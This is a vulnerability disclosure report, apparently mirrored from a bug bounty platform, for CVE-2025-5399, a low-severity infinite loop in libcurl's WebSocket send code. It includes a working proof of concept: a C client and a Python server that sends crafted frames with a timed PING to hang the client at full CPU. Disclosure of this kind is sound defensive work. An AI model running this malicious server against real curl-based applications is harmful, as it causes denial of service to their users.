Loading HuntDB...

CVE-2025-5399: WebSocket endless loop

Low
C
curl
Submitted None
Reported by z2_

Vulnerability Details

Technical details and impact analysis

Loop with Unreachable Exit Condition ('Infinite Loop')
The function `curl_ws_send()` in libcurl on commit [12d13b84fa40aa657b83d5458944dbd9b978fb7e](https://github.com/curl/curl/blob/12d13b84fa40aa657b83d5458944dbd9b978fb7e/lib/ws.c) contains an infinite loop that can be triggered by a malicious server under specific circumstances. If an application uses `curl_ws_recv()` and `curl_ws_send()` to communicate with a websocket server, a malicious server can send a carefully timed PING message while the client is constructing a frame via `CURLWS_OFFSET` that leads to the next `curl_ws_send()` invocation not terminating a loop that flushes data. The affected code is in file `lib/ws.c` in function `curl_ws_send()` on [lines 1376 - 1419](https://github.com/curl/curl/blob/12d13b84fa40aa657b83d5458944dbd9b978fb7e/lib/ws.c#L1376): ```c while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) { // ... result = ws_flush(data, ws, Curl_is_in_callback(data)); if(!result) { *sent += ws->sendbuf_payload; buffer += ws->sendbuf_payload; buflen -= ws->sendbuf_payload; ws->sendbuf_payload = 0; } // ... } ``` `buflen` is coming from the application and is the length of data to be sent. If the loop starts with `ws->sendbuf_payload == 0`, then `buflen > ws->sendbuf_payload` is always true. After a successful `ws_flush()`, `sent`, `buffer` and `buflen` remain unmodified and the loop runs forever. ## PoC Consider the following client that repeatedly sends and receives messages: ```c #include <stdio.h> #include <unistd.h> #include <assert.h> #include <curl/curl.h> int main (int argc, char** argv) { char buffer[512]; size_t sent; size_t n; const struct curl_ws_frame* meta; CURLcode res; CURL* curl = curl_easy_init(); curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:1337/"); curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L); curl_easy_perform(curl); curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta); curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT); curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta); curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET); curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta); curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET); // The next curl_ws_recv() will receive a 16-byte PING message and // auto-respond with PONG res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta); assert(res == CURLE_AGAIN); // Restart I/O. The next call to curl_ws_send() will never return curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta); curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET); // never reached: assert(0); } ``` And consider the following server that serves malicious packets: ```py #!/usr/bin/env python3 import time import base64 import hashlib from pwn import * packets = [ b'\x01~\x00\x0cHello World!', b'\x89F\x9a', b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y", b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7', b'\x01~\x00\x0cHello World!', b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6', b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@', b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d' ] def sha1(data): h = hashlib.new("sha1") h.update(data) return h.digest() with listen(1337) as conn: conn.wait_for_connection() key = None while True: line = conn.recvline() if line.startswith(b"Sec-WebSocket-Key: "): _, enc = line.split(b" ") key = enc.strip() elif line == b"\r\n": break key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11" conn.sendline(b"HTTP/1.1 101 Switching Protocols\r") conn.sendline(b"Upgrade: websocket\r") conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r") conn.sendline(b"Sec-WebSocket-Version: 13\r") conn.sendline(b"\r") for packet in packets: conn.send(packet) ``` When the server is launched in the background with ``` $ python3 server.py & ``` And the client is run with ``` $ ./client ``` it can be seen that `./client` takes up 100% CPU usage and never terminates. ## Explanation I still don't 100% understand the websocket code and why it comes to this bug but here is a rough overview what happens: - The client tries building a 70-byte frame over the course of 3 `curl_ws_send()` invocations - The first two invocations supply 1 + 53 = 54 bytes - Then a PING arrives with 16 bytes of content - Upon serving the final 16-bytes from the application, the loop occurs If the auto-pong feature is deactivated via ```c curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG); ``` the infinite loop no longer occurs. The root-cause seems to be in the handling of the PING message. ## Impact Since this bug - can be triggered by a remote server - makes programs halt their execution and consumes 100% CPU over an indefinite amount of time - only occurs when the client behaves in a very specific way I suggest severity "Low".

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Loop with Unreachable Exit Condition ('Infinite Loop')